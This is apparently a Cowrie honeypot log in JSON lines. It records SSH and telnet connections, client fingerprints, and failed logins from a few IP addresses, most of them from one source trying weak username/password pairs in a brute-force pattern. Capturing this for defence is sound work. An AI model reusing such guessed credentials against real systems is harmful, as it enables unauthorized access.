{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52360,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5d1fa4395a3","protocol":"ssh","message":"New connection: 159.203.92.129:52360 (159.203.135.109:22) [session: c5d1fa4395a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:18:31.781287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:18:31.785527Z","src_ip":"159.203.92.129","session":"c5d1fa4395a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:18:31.789275Z","src_ip":"159.203.92.129","session":"c5d1fa4395a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aikan_admin","password":"aikan_admin","message":"login attempt [aikan_admin/aikan_admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:18:31.798879Z","src_ip":"159.203.92.129","session":"c5d1fa4395a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:18:32.812062Z","src_ip":"159.203.92.129","session":"c5d1fa4395a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.103.29.29","src_port":35488,"dst_ip":"10.17.0.5","dst_port":23,"session":"13de730efdc7","protocol":"telnet","message":"New connection: 190.103.29.29:35488 (10.17.0.5:23) [session: 13de730efdc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:18:50.335761Z"}
{"eventid":"cowrie.session.closed","duration":11.821101427078247,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:19:02.156732Z","src_ip":"190.103.29.29","session":"13de730efdc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50400,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c1e355ca151","protocol":"ssh","message":"New connection: 159.203.92.129:50400 (159.203.135.109:22) [session: 4c1e355ca151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:19:14.319862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:19:14.324968Z","src_ip":"159.203.92.129","session":"4c1e355ca151","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:19:14.329813Z","src_ip":"159.203.92.129","session":"4c1e355ca151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aikin","password":"123","message":"login attempt [aikin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:19:14.347843Z","src_ip":"159.203.92.129","session":"4c1e355ca151","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:19:15.355796Z","src_ip":"159.203.92.129","session":"4c1e355ca151","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35236,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d5ec770bc07","protocol":"ssh","message":"New connection: 159.203.92.129:35236 (159.203.135.109:22) [session: 6d5ec770bc07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:19:56.433603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:19:56.437975Z","src_ip":"159.203.92.129","session":"6d5ec770bc07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:19:56.442307Z","src_ip":"159.203.92.129","session":"6d5ec770bc07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aikin","password":"123456","message":"login attempt [aikin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:19:56.452954Z","src_ip":"159.203.92.129","session":"6d5ec770bc07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:19:57.458535Z","src_ip":"159.203.92.129","session":"6d5ec770bc07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.116.19","src_port":49624,"dst_ip":"159.203.135.109","dst_port":22,"session":"b312ca9a5e11","protocol":"ssh","message":"New connection: 178.128.116.19:49624 (159.203.135.109:22) [session: b312ca9a5e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:19:57.487425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:19:57.492316Z","src_ip":"178.128.116.19","session":"b312ca9a5e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:19:57.740847Z","src_ip":"178.128.116.19","session":"b312ca9a5e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00122857093811,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:20:27.389789Z","src_ip":"195.216.185.169","session":"017f276f3bd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34186,"dst_ip":"159.203.135.109","dst_port":22,"session":"11ef945e9136","protocol":"ssh","message":"New connection: 159.203.92.129:34186 (159.203.135.109:22) [session: 11ef945e9136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:20:41.768543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:20:41.772990Z","src_ip":"159.203.92.129","session":"11ef945e9136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:20:41.777718Z","src_ip":"159.203.92.129","session":"11ef945e9136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aikin","password":"aikin","message":"login attempt [aikin/aikin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:20:41.789559Z","src_ip":"159.203.92.129","session":"11ef945e9136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:20:42.800277Z","src_ip":"159.203.92.129","session":"11ef945e9136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34462,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3db919c48a4","protocol":"ssh","message":"New connection: 159.203.92.129:34462 (159.203.135.109:22) [session: f3db919c48a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:21:27.317236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:21:27.321997Z","src_ip":"159.203.92.129","session":"f3db919c48a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:21:27.327305Z","src_ip":"159.203.92.129","session":"f3db919c48a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aikin","password":"aikin123","message":"login attempt [aikin/aikin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:21:27.337639Z","src_ip":"159.203.92.129","session":"f3db919c48a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:21:28.344279Z","src_ip":"159.203.92.129","session":"f3db919c48a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":31922,"dst_ip":"159.203.135.109","dst_port":22,"session":"7879dafa01dc","protocol":"ssh","message":"New connection: 194.59.206.2:31922 (159.203.135.109:22) [session: 7879dafa01dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:22:03.495779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:22:03.500324Z","src_ip":"194.59.206.2","session":"7879dafa01dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:22:03.590628Z","src_ip":"194.59.206.2","session":"7879dafa01dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:22:03.685250Z","src_ip":"194.59.206.2","session":"7879dafa01dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.84.46.159","src_port":36842,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8f46baa16f7","protocol":"telnet","message":"New connection: 47.84.46.159:36842 (10.17.0.5:23) [session: e8f46baa16f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:22:04.682764Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55058,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d2bf10a5caf","protocol":"ssh","message":"New connection: 159.203.92.129:55058 (159.203.135.109:22) [session: 7d2bf10a5caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:22:12.828005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:22:12.852726Z","src_ip":"159.203.92.129","session":"7d2bf10a5caf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:22:12.856439Z","src_ip":"159.203.92.129","session":"7d2bf10a5caf","protocol":"ssh"}
